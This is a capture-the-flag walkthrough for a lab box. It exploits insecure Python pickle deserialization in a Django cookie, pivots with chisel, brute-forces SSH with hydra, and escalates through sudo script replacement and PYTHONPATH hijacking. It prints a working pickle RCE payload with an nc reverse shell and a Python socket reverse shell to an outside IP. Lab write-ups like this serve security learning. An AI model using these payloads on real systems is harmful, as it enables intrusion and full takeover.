Don't over-baked your pie!
Enumeration
PORT STATE SERVICE REASON
5003/tcp open filemaker syn-ack ttl 60
We only seem to have one open port, let’s enumerate it some more:
5003/tcp open filemaker? syn-ack ttl 60
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Date: Sat, 15 Jan 2022 00:11:49 GMT
| Server: WSGIServer/0.2 CPython/3.8.6
| Content-Type: text/html; charset=utf-8
| X-Frame-Options: DENY
| Vary: Cookie
| Content-Length: 7453
| X-Content-Type-Options: nosniff
| Referrer-Policy: same-origin
| Set-Cookie: csrftoken=aajIA2K6Mr9rgFdQTWxzS0ABFrsyEFU2P3gPEEZR1yiBVyrI2MCDzb2cwye3JHk8; expires=Sat, 14 Jan 2023 00:11:49 GMT; Max-Age=31449600; Path=/; SameSite=Lax
It looks to be a python server, let’s visit it and see what’s happening. We can register an account so let’s do that first:
We don’t seem to gain access to much. After playing with different features, I noticed something interesting while searching:
POST /search HTTP/1.1
Host: pie.thm:5003
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://pie.thm:5003/search
Content-Type: application/x-www-form-urlencoded
Content-Length: 92
Origin: http://pie.thm:5003
Connection: close
Cookie: csrftoken=7VAfYPeBcu39D2M6WCiYqB9pvRhzcRMYG2FSwE7GTWYYea6w0gjinRJw7WYAKxO5; search_cookie="gASVBQAAAAAAAACMAWGULg=="
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
csrfmiddlewaretoken=WtFLWw3YRMxJ6auL4VwvNUziKcetlrwCvAKoulW3yesyHiOb8zxPKa9pmhVuT7yJ&query=a
Foothold
We see we now have a search cookie, it looks to e base64 encoded however decoding it doesn’t give us a great deal:
What’s interesting is that it seems to contain my original query. The home screen of the website has homemade pickle
which ties in with the serialization module pickle
. We can assume that this cookie is probably a serialized object. We can try use it for RCE:
https://davidhamann.de/2020/04/05/exploiting-python-pickle/
We can use the exploit code to see if we can get a reverse shell:
import pickle
import base64
import os
class RCE:
def __reduce__(self):
cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 127.0.0.1 1234 > /tmp/f')
return os.system, (cmd,)
if __name__ == '__main__':
pickled = pickle.dumps(RCE())
print(base64.urlsafe_b64encode(pickled))
We run the script and are returned a base64 encoded string that we can try use to replace the cookie:
We can catch the request in a netcat listener.
User own
We seem to be in a container as root, we still need to find the flag. What’s interesting in our container is that .bash_history hasn’t been removed / pointed to /dev/null. It contains some useful information:
nc
exit
ifconfig
ip addr
ssh 172.17.0.1
ssh 172.17.0.2
exit
ssh ramsey@172.17.0.1
exit
cd /tmp
wget https://raw.githubusercontent.com/moby/moby/master/contrib/check-config.sh
chmod +x check-config.sh
./check-config.sh
nano /etc/default/grub
vi /etc/default/grub
apt install vi
apt update
apt install vi
apt install vim
apt install nano
nano /etc/default/grub
grub-update
apt install grub-update
apt-get install --reinstall grub
grub-update
exit
ssh ramsey@172.17.0.1
exit
ssh ramsey@172.17.0.1
exit
ls
cd site/
ls
cd bakery/
ls
nano settings.py
exit
ls
cd site/
ls
cd bakery/
nano settings.py
exit
apt remove --purge ssh
ssh
apt remove --purge autoremove open-ssh*
apt remove --purge autoremove openssh=*
apt remove --purge autoremove openssh-*
ssh
apt autoremove openssh-client
clear
ssh
ssh
ssh
We see a user called ramsey
on 172.17.0.1
, we don’t have his password but we can use port forwarding to bruteforce it. We start by uploading chisel to our target:
We run the chisel server on our machine and connect to it on the target:
Local: ./chisel server -p 10000 --reverse
Target: ./chisel client 10.2.96.144:10000 R:6969:172.17.0.1:22
We can now access SSH on port 6969
:
We use hydra to start bruteforcing:
We can SSH in and grab the user flag.
Root own
We have another user called oliver
on this box. We have another python script called vuln.py
that we can run as Oliver:
#!/usr/bin/python
# coding=utf-8
try:
from PIL import Image
except ImportError:
import Image
import pytesseract
import sys
import os
import time
#Header
def header():
banner = '''\033[33m
(
)
__..---..__
,-=' / | \ `=-.
:--..___________..--;
\.,_____________,./
██╗███╗ ██╗ ██████╗ ██████╗ ███████╗██████╗ ██╗███████╗███╗ ██╗████████╗███████╗
██║████╗ ██║██╔════╝ ██╔══██╗██╔════╝██╔══██╗██║██╔════╝████╗ ██║╚══██╔══╝██╔════╝
██║██╔██╗ ██║██║ ███╗██████╔╝█████╗ ██║ ██║██║█████╗ ██╔██╗ ██║ ██║ ███████╗
██║██║╚██╗██║██║ ██║██╔══██╗██╔══╝ ██║ ██║██║██╔══╝ ██║╚██╗██║ ██║ ╚════██║
██║██║ ╚████║╚██████╔╝██║ ██║███████╗██████╔╝██║███████╗██║ ╚████║ ██║ ███████║
╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝ ╚═╝╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚══════╝
\033[m'''
return banner
#Function Instructions
def instructions():
print "\n\t\t\t",9 * "-" , "WELCOME!" , 9 * "-"
print "\t\t\t","1. Calculator"
print "\t\t\t","2. Easy Calculator"
print "\t\t\t","3. Credits"
print "\t\t\t","4. Exit"
print "\t\t\t",28 * "-"
def instructions2():
print "\n\t\t\t",9 * "-" , "CALCULATOR!" , 9 * "-"
print "\t\t\t","1. Add"
print "\t\t\t","2. Subtract"
print "\t\t\t","3. Multiply"
print "\t\t\t","4. Divide"
print "\t\t\t","5. Back"
print "\t\t\t",28 * "-"
def credits():
print "\n\t\tHope you enjoy learning new things - Ch4rm & H0j3n\n"
# Function Arithmetic
# Function to add two numbers
def add(num1, num2):
return num1 + num2
# Function to subtract two numbers
def subtract(num1, num2):
return num1 - num2
# Function to multiply two numbers
def multiply(num1, num2):
return num1 * num2
# Function to divide two numbers
def divide(num1, num2):
return num1 / num2
# Main
if __name__ == "__main__":
print header()
#Variables
OPTIONS = 0
OPTIONS2 = 0
TOTAL = 0
NUM1 = 0
NUM2 = 0
while(OPTIONS != 4):
instructions()
OPTIONS = int(input("\t\t\tEnter Options >> "))
print "\033c"
if OPTIONS == 1:
instructions2()
OPTIONS2 = int(input("\t\t\tEnter Options >> "))
print "\033c"
if OPTIONS2 == 5:
continue
else:
NUM1 = int(input("\t\t\tEnter Number1 >> "))
NUM2 = int(input("\t\t\tEnter Number2 >> "))
if OPTIONS2 == 1:
TOTAL = add(NUM1,NUM2)
if OPTIONS2 == 2:
TOTAL = subtract(NUM1,NUM2)
if OPTIONS2 == 3:
TOTAL = multiply(NUM1,NUM2)
if OPTIONS2 == 4:
TOTAL = divide(NUM1,NUM2)
print "\t\t\tTotal >> $",TOTAL
if OPTIONS == 2:
animation = ["[■□□□□□□□□□]","[■■□□□□□□□□]", "[■■■□□□□□□□]", "[■■■■□□□□□□]", "[■■■■■□□□□□]", "[■■■■■■□□□□]", "[■■■■■■■□□□]", "[■■■■■■■■□□]", "[■■■■■■■■■□]", "[■■■■■■■■■■]"]
print "\r\t\t\t Waiting to extract..."
for i in range(len(animation)):
time.sleep(0.5)
sys.stdout.write("\r\t\t\t " + animation[i % len(animation)])
sys.stdout.flush()
LISTED = pytesseract.image_to_string(Image.open('payload.png'))
TOTAL = eval(LISTED)
print "\n\n\t\t\tTotal >> $",TOTAL
if OPTIONS == 3:
credits()
sys.exit(-1)
We can very easily read it’s source code. We see that there’s an eval function and an image called payload.png
that’s converted to a string. There’s is a much easier to way to go about doing this. We can simply replace the current vuln.py
script with our own:
cp vuln,py vuln.py.bak
rm vuln.py
We can write our own reverse shell:
import pty
import socket,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.2.96.144",4443))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/bash")
We can just use nano on the target box and paste in the code. We run it with:
sudo -u oliver python /home/ramsey/vuln.py
Root own
Our home directory seems to be empty. We can start looking for ways to get root:
Matching Defaults entries for oliver on unbaked:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User oliver may run the following commands on unbaked:
(root) SETENV: NOPASSWD: /usr/bin/python /opt/dockerScript.py
Again, we have a sudo entry and a python script we can try abuse:
import docker
# oliver, make sure to restart docker if it crashes or anything happened.
# i havent setup swap memory for it
# it is still in development, please dont let it live yet!!!
client = docker.from_env()
client.containers.run("python-django:latest", "sleep infinity", detach=True)
We need to abuse environment variables to make the script execute our version of docker.py
. We can re-use our reverse shell from earlier
Finally, we execute the following:
sudo PYTHONPATH=/home/oliver /usr/bin/python /opt/dockerScript.py